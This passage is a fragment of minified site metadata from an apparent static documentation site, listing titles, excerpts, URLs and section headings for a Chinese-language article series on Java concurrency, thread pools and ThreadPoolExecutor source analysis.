冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"本文有点长,但是满满的干货,以实际案例的形式分析了两种异步模型,并从源码角度深度解析Future接口和FutureTask类,希望大家踏下心来,打开你的IDE,跟着文章看源码,相信你一定收获不小!",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"两种异步模型与深度解析Future接口"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/source/2020-03-30-004-%E4%B8%A4%E7%A7%8D%E5%BC%82%E6%AD%A5%E6%A8%A1%E5%9E%8B%E4%B8%8E%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90Future%E6%8E%A5%E5%8F%A3.html"},{name:"twitter:title",content:"两种异步模型与深度解析Future接口"},{name:"twitter:url",content:"/md/concurrent/source/2020-03-30-004-%E4%B8%A4%E7%A7%8D%E5%BC%82%E6%AD%A5%E6%A8%A1%E5%9E%8B%E4%B8%8E%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90Future%E6%8E%A5%E5%8F%A3.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/source/2020-03-30-004-%E4%B8%A4%E7%A7%8D%E5%BC%82%E6%AD%A5%E6%A8%A1%E5%9E%8B%E4%B8%8E%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90Future%E6%8E%A5%E5%8F%A3.html",relativePath:"md/concurrent/source/2020-03-30-004-两种异步模型与深度解析Future接口.md",key:"v-56a704c7",path:"/md/concurrent/source/2020-03-30-004-%E4%B8%A4%E7%A7%8D%E5%BC%82%E6%AD%A5%E6%A8%A1%E5%9E%8B%E4%B8%8E%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90Future%E6%8E%A5%E5%8F%A3.html",headers:[{level:3,title:"一、两种异步模型",slug:"一、两种异步模型"},{level:3,title:"二、深度解析Future接口",slug:"二、深度解析future接口"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"SimpleDateFormat类到底为啥不是线程安全的?",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"SimpleDateFormat类到底为啥不是线程安全的?",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"首先问下大家:你使用的SimpleDateFormat类还安全吗?为什么说SimpleDateFormat类不是线程安全的?带着问题从本文中寻求答案。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"SimpleDateFormat类到底为啥不是线程安全的?"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/source/2020-03-30-005-SimpleDateFormat%E7%B1%BB%E5%88%B0%E5%BA%95%E4%B8%BA%E5%95%A5%E4%B8%8D%E6%98%AF%E7%BA%BF%E7%A8%8B%E5%AE%89%E5%85%A8%E7%9A%84%EF%BC%9F%EF%BC%88%E9%99%84%E5%85%AD%E7%A7%8D%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88%EF%BC%8C%E5%BB%BA%E8%AE%AE%E6%94%B6%E8%97%8F%EF%BC%89.html"},{name:"twitter:title",content:"SimpleDateFormat类到底为啥不是线程安全的?"},{name:"twitter:url",content:"/md/concurrent/source/2020-03-30-005-SimpleDateFormat%E7%B1%BB%E5%88%B0%E5%BA%95%E4%B8%BA%E5%95%A5%E4%B8%8D%E6%98%AF%E7%BA%BF%E7%A8%8B%E5%AE%89%E5%85%A8%E7%9A%84%EF%BC%9F%EF%BC%88%E9%99%84%E5%85%AD%E7%A7%8D%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88%EF%BC%8C%E5%BB%BA%E8%AE%AE%E6%94%B6%E8%97%8F%EF%BC%89.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/source/2020-03-30-005-SimpleDateFormat%E7%B1%BB%E5%88%B0%E5%BA%95%E4%B8%BA%E5%95%A5%E4%B8%8D%E6%98%AF%E7%BA%BF%E7%A8%8B%E5%AE%89%E5%85%A8%E7%9A%84%EF%BC%9F%EF%BC%88%E9%99%84%E5%85%AD%E7%A7%8D%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88%EF%BC%8C%E5%BB%BA%E8%AE%AE%E6%94%B6%E8%97%8F%EF%BC%89.html",relativePath:"md/concurrent/source/2020-03-30-005-SimpleDateFormat类到底为啥不是线程安全的?(附六种解决方案,建议收藏).md",key:"v-30250e53",path:"/md/concurrent/source/2020-03-30-005-SimpleDateFormat%E7%B1%BB%E5%88%B0%E5%BA%95%E4%B8%BA%E5%95%A5%E4%B8%8D%E6%98%AF%E7%BA%BF%E7%A8%8B%E5%AE%89%E5%85%A8%E7%9A%84%EF%BC%9F%EF%BC%88%E9%99%84%E5%85%AD%E7%A7%8D%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88%EF%BC%8C%E5%BB%BA%E8%AE%AE%E6%94%B6%E8%97%8F%EF%BC%89.html",headers:[{level:2,title:"重现SimpleDateFormat类的线程安全问题",slug:"重现simpledateformat类的线程安全问题"},{level:2,title:"SimpleDateFormat类为何不是线程安全的?",slug:"simpledateformat类为何不是线程安全的"},{level:2,title:"解决SimpleDateFormat类的线程安全问题",slug:"解决simpledateformat类的线程安全问题"},{level:3,title:"1.局部变量法",slug:"_1-局部变量法"},{level:3,title:"2.synchronized锁方式",slug:"_2-synchronized锁方式"},{level:3,title:"3.Lock锁方式",slug:"_3-lock锁方式"},{level:3,title:"4.ThreadLocal方式",slug:"_4-threadlocal方式"},{level:3,title:"5.DateTimeFormatter方式",slug:"_5-datetimeformatter方式"},{level:3,title:"6.joda-time方式",slug:"_6-joda-time方式"},{level:3,title:"解决SimpleDateFormat类的线程安全问题的方案总结",slug:"解决simpledateformat类的线程安全问题的方案总结"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"不得不说的线程池与ThreadPoolExecutor类浅析",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"不得不说的线程池与ThreadPoolExecutor类浅析",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"今天,我们继续聊高并发相关的话题,今天,我们就从源码角度深入探讨下ThreadPoolExecutor类。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"不得不说的线程池与ThreadPoolExecutor类浅析"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/source/2020-03-30-006-%E4%B8%8D%E5%BE%97%E4%B8%8D%E8%AF%B4%E7%9A%84%E7%BA%BF%E7%A8%8B%E6%B1%A0%E4%B8%8EThreadPoolExecutor%E7%B1%BB%E6%B5%85%E6%9E%90.html"},{name:"twitter:title",content:"不得不说的线程池与ThreadPoolExecutor类浅析"},{name:"twitter:url",content:"/md/concurrent/source/2020-03-30-006-%E4%B8%8D%E5%BE%97%E4%B8%8D%E8%AF%B4%E7%9A%84%E7%BA%BF%E7%A8%8B%E6%B1%A0%E4%B8%8EThreadPoolExecutor%E7%B1%BB%E6%B5%85%E6%9E%90.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/source/2020-03-30-006-%E4%B8%8D%E5%BE%97%E4%B8%8D%E8%AF%B4%E7%9A%84%E7%BA%BF%E7%A8%8B%E6%B1%A0%E4%B8%8EThreadPoolExecutor%E7%B1%BB%E6%B5%85%E6%9E%90.html",relativePath:"md/concurrent/source/2020-03-30-006-不得不说的线程池与ThreadPoolExecutor类浅析.md",key:"v-256b335a",path:"/md/concurrent/source/2020-03-30-006-%E4%B8%8D%E5%BE%97%E4%B8%8D%E8%AF%B4%E7%9A%84%E7%BA%BF%E7%A8%8B%E6%B1%A0%E4%B8%8EThreadPoolExecutor%E7%B1%BB%E6%B5%85%E6%9E%90.html",headers:[{level:2,title:"一、抛砖引玉",slug:"一、抛砖引玉"},{level:2,title:"二、Thread直接创建线程的弊端",slug:"二、thread直接创建线程的弊端"},{level:2,title:"三、线程池的好处",slug:"三、线程池的好处"},{level:2,title:"四、线程池",slug:"四、线程池"},{level:3,title:"1.线程池类结构关系",slug:"_1-线程池类结构关系"},{level:3,title:"2.创建线程池常用的类——Executors",slug:"_2-创建线程池常用的类-executors"},{level:3,title:"3.线程池实例的几种状态",slug:"_3-线程池实例的几种状态"},{level:3,title:"4.合理配置线程的一些建议",slug:"_4-合理配置线程的一些建议"},{level:2,title:"五、线程池最核心的类之一——ThreadPoolExecutor",slug:"五、线程池最核心的类之一-threadpoolexecutor"},{level:3,title:"1.构造方法",slug:"_1-构造方法"},{level:3,title:"2.ThreadPoolExecutor提供的启动和停止任务的方法",slug:"_2-threadpoolexecutor提供的启动和停止任务的方法"},{level:3,title:"3.ThreadPoolExecutor提供的适用于监控的方法",slug:"_3-threadpoolexecutor提供的适用于监控的方法"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"深度解析线程池中那些重要的顶层接口和抽象类",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"深度解析线程池中那些重要的顶层接口和抽象类",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"接下来,我们就来看看线程池中那些非常重要的接口和抽象类,深度分析下线程池中是如何将抽象这一思想运用的淋漓尽致的!通过对线程池中接口和抽象类的分析,你会发现,整个线程池设计的是如此的优雅和强大,从线程池的代码设计中,我们学到的不只是代码而已!!题外话:膜拜Java大神Doug Lea,Java中的并发包正是这位老爷子写的,他是这个世界上对Java影响力最大的一个人。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"深度解析线程池中那些重要的顶层接口和抽象类"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/source/2020-03-30-007-%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90%E7%BA%BF%E7%A8%8B%E6%B1%A0%E4%B8%AD%E9%82%A3%E4%BA%9B%E9%87%8D%E8%A6%81%E7%9A%84%E9%A1%B6%E5%B1%82%E6%8E%A5%E5%8F%A3%E5%92%8C%E6%8A%BD%E8%B1%A1%E7%B1%BB.html"},{name:"twitter:title",content:"深度解析线程池中那些重要的顶层接口和抽象类"},{name:"twitter:url",content:"/md/concurrent/source/2020-03-30-007-%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90%E7%BA%BF%E7%A8%8B%E6%B1%A0%E4%B8%AD%E9%82%A3%E4%BA%9B%E9%87%8D%E8%A6%81%E7%9A%84%E9%A1%B6%E5%B1%82%E6%8E%A5%E5%8F%A3%E5%92%8C%E6%8A%BD%E8%B1%A1%E7%B1%BB.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/source/2020-03-30-007-%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90%E7%BA%BF%E7%A8%8B%E6%B1%A0%E4%B8%AD%E9%82%A3%E4%BA%9B%E9%87%8D%E8%A6%81%E7%9A%84%E9%A1%B6%E5%B1%82%E6%8E%A5%E5%8F%A3%E5%92%8C%E6%8A%BD%E8%B1%A1%E7%B1%BB.html",relativePath:"md/concurrent/source/2020-03-30-007-深度解析线程池中那些重要的顶层接口和抽象类.md",key:"v-dc4734cc",path:"/md/concurrent/source/2020-03-30-007-%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90%E7%BA%BF%E7%A8%8B%E6%B1%A0%E4%B8%AD%E9%82%A3%E4%BA%9B%E9%87%8D%E8%A6%81%E7%9A%84%E9%A1%B6%E5%B1%82%E6%8E%A5%E5%8F%A3%E5%92%8C%E6%8A%BD%E8%B1%A1%E7%B1%BB.html",headers:[{level:2,title:"一、接口和抽象类总览",slug:"一、接口和抽象类总览"},{level:2,title:"二、Executor接口",slug:"二、executor接口"},{level:2,title:"三、ExecutorService接口",slug:"三、executorservice接口"},{level:2,title:"四、AbstractExecutorService抽象类",slug:"四、abstractexecutorservice抽象类"},{level:2,title:"五、ScheduledExecutorService接口",slug:"五、scheduledexecutorservice接口"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"从源码角度分析创建线程池究竟有哪些方式",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"从源码角度分析创建线程池究竟有哪些方式",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"在Java的高并发领域,线程池一直是一个绕不开的话题。有些童鞋一直在使用线程池,但是,对于如何创建线程池仅仅停留在使用Executors工具类的方式,那么,创建线程池究竟存在哪几种方式呢?就让我们一起从创建线程池的源码来深入分析究竟有哪些方式可以创建线程池。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"从源码角度分析创建线程池究竟有哪些方式"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/source/2020-03-30-008-%E4%BB%8E%E6%BA%90%E7%A0%81%E8%A7%92%E5%BA%A6%E5%88%86%E6%9E%90%E5%88%9B%E5%BB%BA%E7%BA%BF%E7%A8%8B%E6%B1%A0%E7%A9%B6%E7%AB%9F%E6%9C%89%E5%93%AA%E4%BA%9B%E6%96%B9%E5%BC%8F.html"},{name:"twitter:title",content:"从源码角度分析创建线程池究竟有哪些方式"},{name:"twitter:url",content:"/md/concurrent/source/2020-03-30-008-%E4%BB%8E%E6%BA%90%E7%A0%81%E8%A7%92%E5%BA%A6%E5%88%86%E6%9E%90%E5%88%9B%E5%BB%BA%E7%BA%BF%E7%A8%8B%E6%B1%A0%E7%A9%B6%E7%AB%9F%E6%9C%89%E5%93%AA%E4%BA%9B%E6%96%B9%E5%BC%8F.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/source/2020-03-30-008-%E4%BB%8E%E6%BA%90%E7%A0%81%E8%A7%92%E5%BA%A6%E5%88%86%E6%9E%90%E5%88%9B%E5%BB%BA%E7%BA%BF%E7%A8%8B%E6%B1%A0%E7%A9%B6%E7%AB%9F%E6%9C%89%E5%93%AA%E4%BA%9B%E6%96%B9%E5%BC%8F.html",relativePath:"md/concurrent/source/2020-03-30-008-从源码角度分析创建线程池究竟有哪些方式.md",key:"v-0eb505a2",path:"/md/concurrent/source/2020-03-30-008-%E4%BB%8E%E6%BA%90%E7%A0%81%E8%A7%92%E5%BA%A6%E5%88%86%E6%9E%90%E5%88%9B%E5%BB%BA%E7%BA%BF%E7%A8%8B%E6%B1%A0%E7%A9%B6%E7%AB%9F%E6%9C%89%E5%93%AA%E4%BA%9B%E6%96%B9%E5%BC%8F.html",headers:[{level:3,title:"使用Executors工具类创建线程池",slug:"使用executors工具类创建线程池"},{level:3,title:"使用ThreadPoolExecutor类创建线程池",slug:"使用threadpoolexecutor类创建线程池"},{level:3,title:"使用ForkJoinPool类创建线程池",slug:"使用forkjoinpool类创建线程池"},{level:3,title:"使用ScheduledThreadPoolExecutor类创建线程池",slug:"使用scheduledthreadpoolexecutor类创建线程池"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"通过源码深度解析ThreadPoolExecutor类是如何保证线程池正确运行的",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"通过源码深度解析ThreadPoolExecutor类是如何保证线程池正确运行的",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"对于线程池的核心类ThreadPoolExecutor来说,有哪些重要的属性和内部类为线程池的正确运行提供重要的保障呢?。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"通过源码深度解析ThreadPoolExecutor类是如何保证线程池正确运行的"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/source/2020-03-30-009-%E9%80%9A%E8%BF%87%E6%BA%90%E7%A0%81%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90ThreadPoolExecutor%E7%B1%BB%E6%98%AF%E5%A6%82%E4%BD%95%E4%BF%9D%E8%AF%81%E7%BA%BF%E7%A8%8B%E6%B1%A0%E6%AD%A3%E7%A1%AE%E8%BF%90%E8%A1%8C%E7%9A%84.html"},{name:"twitter:title",content:"通过源码深度解析ThreadPoolExecutor类是如何保证线程池正确运行的"},{name:"twitter:url",content:"/md/concurrent/source/2020-03-30-009-%E9%80%9A%E8%BF%87%E6%BA%90%E7%A0%81%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90ThreadPoolExecutor%E7%B1%BB%E6%98%AF%E5%A6%82%E4%BD%95%E4%BF%9D%E8%AF%81%E7%BA%BF%E7%A8%8B%E6%B1%A0%E6%AD%A3%E7%A1%AE%E8%BF%90%E8%A1%8C%E7%9A%84.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/source/2020-03-30-009-%E9%80%9A%E8%BF%87%E6%BA%90%E7%A0%81%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90ThreadPoolExecutor%E7%B1%BB%E6%98%AF%E5%A6%82%E4%BD%95%E4%BF%9D%E8%AF%81%E7%BA%BF%E7%A8%8B%E6%B1%A0%E6%AD%A3%E7%A1%AE%E8%BF%90%E8%A1%8C%E7%9A%84.html",relativePath:"md/concurrent/source/2020-03-30-009-通过源码深度解析ThreadPoolExecutor类是如何保证线程池正确运行的.md",key:"v-296281ca",path:"/md/concurrent/source/2020-03-30-009-%E9%80%9A%E8%BF%87%E6%BA%90%E7%A0%81%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90ThreadPoolExecutor%E7%B1%BB%E6%98%AF%E5%A6%82%E4%BD%95%E4%BF%9D%E8%AF%81%E7%BA%BF%E7%A8%8B%E6%B1%A0%E6%AD%A3%E7%A1%AE%E8%BF%90%E8%A1%8C%E7%9A%84.html",headers:[{level:2,title:"ThreadPoolExecutor类中的重要属性",slug:"threadpoolexecutor类中的重要属性"},{level:3,title:"ctl相关的属性",slug:"ctl相关的属性"},{level:3,title:"其他重要属性",slug:"其他重要属性"},{level:2,title:"ThreadPoolExecutor类中的重要内部类",slug:"threadpoolexecutor类中的重要内部类"},{level:3,title:"Worker内部类",slug:"worker内部类"},{level:3,title:"拒绝策略内部类",slug:"拒绝策略内部类"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"通过ThreadPoolExecutor类的源码深度解析线程池执行任务的核心流程",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"通过ThreadPoolExecutor类的源码深度解析线程池执行任务的核心流程",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"ThreadPoolExecutor是Java线程池中最核心的类之一,它能够保证线程池按照正常的业务逻辑执行任务,并通过原子方式更新线程池每个阶段的状态",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"通过ThreadPoolExecutor类的源码深度解析线程池执行任务的核心流程"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/source/2020-03-30-010-%E9%80%9A%E8%BF%87ThreadPoolExecutor%E7%B1%BB%E7%9A%84%E6%BA%90%E7%A0%81%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90%E7%BA%BF%E7%A8%8B%E6%B1%A0%E6%89%A7%E8%A1%8C%E4%BB%BB%E5%8A%A1%E7%9A%84%E6%A0%B8%E5%BF%83%E6%B5%81%E7%A8%8B.html"},{name:"twitter:title",content:"通过ThreadPoolExecutor类的源码深度解析线程池执行任务的核心流程"},{name:"twitter:url",content:"/md/concurrent/source/2020-03-30-010-%E9%80%9A%E8%BF%87ThreadPoolExecutor%E7%B1%BB%E7%9A%84%E6%BA%90%E7%A0%81%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90%E7%BA%BF%E7%A8%8B%E6%B1%A0%E6%89%A7%E8%A1%8C%E4%BB%BB%E5%8A%A1%E7%9A%84%E6%A0%B8%E5%BF%83%E6%B5%81%E7%A8%8B.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/source/2020-03-30-010-%E9%80%9A%E8%BF%87ThreadPoolExecutor%E7%B1%BB%E7%9A%84%E6%BA%90%E7%A0%81%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90%E7%BA%BF%E7%A8%8B%E6%B1%A0%E6%89%A7%E8%A1%8C%E4%BB%BB%E5%8A%A1%E7%9A%84%E6%A0%B8%E5%BF%83%E6%B5%81%E7%A8%8B.html",relativePath:"md/concurrent/source/2020-03-30-010-通过ThreadPoolExecutor类的源码深度解析线程池执行任务的核心流程.md",key:"v-1a830fbc",path:"/md/concurrent/source/2020-03-30-010-%E9%80%9A%E8%BF%87ThreadPoolExecutor%E7%B1%BB%E7%9A%84%E6%BA%90%E7%A0%81%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90%E7%BA%BF%E7%A8%8B%E6%B1%A0%E6%89%A7%E8%A1%8C%E4%BB%BB%E5%8A%A1%E7%9A%84%E6%A0%B8%E5%BF%83%E6%B5%81%E7%A8%8B.html",headers:[{level:3,title:"核心逻辑概述",slug:"核心逻辑概述"},{level:3,title:"execute(Runnable)方法",slug:"execute-runnable-方法"},{level:3,title:"addWorker(Runnable, boolean)方法",slug:"addworker-runnable-boolean-方法"},{level:3,title:"addWorkerFailed(Worker)方法",slug:"addworkerfailed-worker-方法"},{level:3,title:"拒绝策略",slug:"拒绝策略"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"通过源码深度分析线程池中Worker线程的执行流程",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"通过源码深度分析线程池中Worker线程的执行流程",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"Worker类从类的结构上来看,继承了AQS(AbstractQueuedSynchronizer类)并实现了Runnable接口。本质上,Worker类既是一个同步组件,也是一个执行任务的线程。接下来,我们看下Worker类的源码,如下所示。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"通过源码深度分析线程池中Worker线程的执行流程"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/source/2020-03-30-011-%E9%80%9A%E8%BF%87%E6%BA%90%E7%A0%81%E6%B7%B1%E5%BA%A6%E5%88%86%E6%9E%90%E7%BA%BF%E7%A8%8B%E6%B1%A0%E4%B8%ADWorker%E7%BA%BF%E7%A8%8B%E7%9A%84%E6%89%A7%E8%A1%8C%E6%B5%81%E7%A8%8B.html"},{name:"twitter:title",content:"通过源码深度分析线程池中Worker线程的执行流程"},{name:"twitter:url",content:"/md/concurrent/source/2020-03-30-011-%E9%80%9A%E8%BF%87%E6%BA%90%E7%A0%81%E6%B7%B1%E5%BA%A6%E5%88%86%E6%9E%90%E7%BA%BF%E7%A8%8B%E6%B1%A0%E4%B8%ADWorker%E7%BA%BF%E7%A8%8B%E7%9A%84%E6%89%A7%E8%A1%8C%E6%B5%81%E7%A8%8B.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/source/2020-03-30-011-%E9%80%9A%E8%BF%87%E6%BA%90%E7%A0%81%E6%B7%B1%E5%BA%A6%E5%88%86%E6%9E%90%E7%BA%BF%E7%A8%8B%E6%B1%A0%E4%B8%ADWorker%E7%BA%BF%E7%A8%8B%E7%9A%84%E6%89%A7%E8%A1%8C%E6%B5%81%E7%A8%8B.html",relativePath:"md/concurrent/source/2020-03-30-011-通过源码深度分析线程池中Worker线程的执行流程.md",key:"v-2274a2fc",path:"/md/concurrent/source/2020-03-30-011-%E9%80%9A%E8%BF%87%E6%BA%90%E7%A0%81%E6%B7%B1%E5%BA%A6%E5%88%86%E6%9E%90%E7%BA%BF%E7%A8%8B%E6%B1%A0%E4%B8%ADWorker%E7%BA%BF%E7%A8%8B%E7%9A%84%E6%89%A7%E8%A1%8C%E6%B5%81%E7%A8%8B.html",headers:[{level:3,title:"Worker类分析",slug:"worker类分析"},{level:3,title:"runWorker(Worker)方法",slug:"runworker-worker-方法"},{level:3,title:"getTask()方法",slug:"gettask-方法"},{level:3,title:"beforeExecute(Thread, Runnable)方法",slug:"beforeexecute-thread-runnable-方法"},{level:3,title:"afterExecute(Runnable, Throwable)方法",slug:"afterexecute-runnable-throwable-方法"},{level:3,title:"processWorkerExit(Worker, boolean)方法",slug:"processworkerexit-worker-boolean-方法"},{level:3,title:"tryTerminate()方法",slug:"tryterminate-方法"},{level:3,title:"terminated()方法",slug:"terminated-方法"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"从源码角度深度解析线程池是如何实现优雅退出的",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"从源码角度深度解析线程池是如何实现优雅退出的",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"在【高并发专题】中,我们从源码角度深度分析了线程池中那些重要的接口和抽象类、深度解析了线程池是如何创建的,ThreadPoolExecutor类有哪些属性和内部类,以及它们对线程池的重要作用。深度分析了线程池的整体核心流程,以及如何拆解Worker线程的执行代码,深度解析Worker线程的执行流程。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"从源码角度深度解析线程池是如何实现优雅退出的"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/source/2020-03-30-012-%E4%BB%8E%E6%BA%90%E7%A0%81%E8%A7%92%E5%BA%A6%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90%E7%BA%BF%E7%A8%8B%E6%B1%A0%E6%98%AF%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0%E4%BC%98%E9%9B%85%E9%80%80%E5%87%BA%E7%9A%84.html"},{name:"twitter:title",content:"从源码角度深度解析线程池是如何实现优雅退出的"},{name:"twitter:url",content:"/md/concurrent/source/2020-03-30-012-%E4%BB%8E%E6%BA%90%E7%A0%81%E8%A7%92%E5%BA%A6%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90%E7%BA%BF%E7%A8%8B%E6%B1%A0%E6%98%AF%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0%E4%BC%98%E9%9B%85%E9%80%80%E5%87%BA%E7%9A%84.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/source/2020-03-30-012-%E4%BB%8E%E6%BA%90%E7%A0%81%E8%A7%92%E5%BA%A6%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90%E7%BA%BF%E7%A8%8B%E6%B1%A0%E6%98%AF%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0%E4%BC%98%E9%9B%85%E9%80%80%E5%87%BA%E7%9A%84.html",relativePath:"md/concurrent/source/2020-03-30-012-从源码角度深度解析线程池是如何实现优雅退出的.md",key:"v-215c2d46",path:"/md/concurrent/source/2020-03-30-012-%E4%BB%8E%E6%BA%90%E7%A0%81%E8%A7%92%E5%BA%A6%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90%E7%BA%BF%E7%A8%8B%E6%B1%A0%E6%98%AF%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0%E4%BC%98%E9%9B%85%E9%80%80%E5%87%BA%E7%9A%84.html",headers:[{level:3,title:"shutdown()方法",slug:"shutdown-方法"},{level:3,title:"shutdownNow()方法",slug:"shutdownnow-方法"},{level:3,title:"awaitTermination(long, TimeUnit)方法",slug:"awaittermination-long-timeunit-方法"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"ScheduledThreadPoolExecutor与Timer的区别和简单示例",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"ScheduledThreadPoolExecutor与Timer的区别和简单示例",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"JDK 1.5开始提供ScheduledThreadPoolExecutor类,ScheduledThreadPoolExecutor类继承ThreadPoolExecutor类重用线程池实现了任务的周期性调度功能。在JDK 1.5之前,实现任务的周期性调度主要使用的是Timer类和TimerTask类。本文,就简单介绍下ScheduledThreadPoolExecutor类与Timer类的区别,ScheduledThreadPoolExecutor类相比于Timer类来说,究竟有哪些优势,以及二者分别实现任务调度的简单示例。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"ScheduledThreadPoolExecutor与Timer的区别和简单示例"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/source/2020-03-30-013-ScheduledThreadPoolExecutor%E4%B8%8ETimer%E7%9A%84%E5%8C%BA%E5%88%AB%E5%92%8C%E7%AE%80%E5%8D%95%E7%A4%BA%E4%BE%8B.html"},{name:"twitter:title",content:"ScheduledThreadPoolExecutor与Timer的区别和简单示例"},{name:"twitter:url",content:"/md/concurrent/source/2020-03-30-013-ScheduledThreadPoolExecutor%E4%B8%8ETimer%E7%9A%84%E5%8C%BA%E5%88%AB%E5%92%8C%E7%AE%80%E5%8D%95%E7%A4%BA%E4%BE%8B.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/source/2020-03-30-013-ScheduledThreadPoolExecutor%E4%B8%8ETimer%E7%9A%84%E5%8C%BA%E5%88%AB%E5%92%8C%E7%AE%80%E5%8D%95%E7%A4%BA%E4%BE%8B.html",relativePath:"md/concurrent/source/2020-03-30-013-ScheduledThreadPoolExecutor与Timer的区别和简单示例.md",key:"v-6edfe1fe",path:"/md/concurrent/source/2020-03-30-013-ScheduledThreadPoolExecutor%E4%B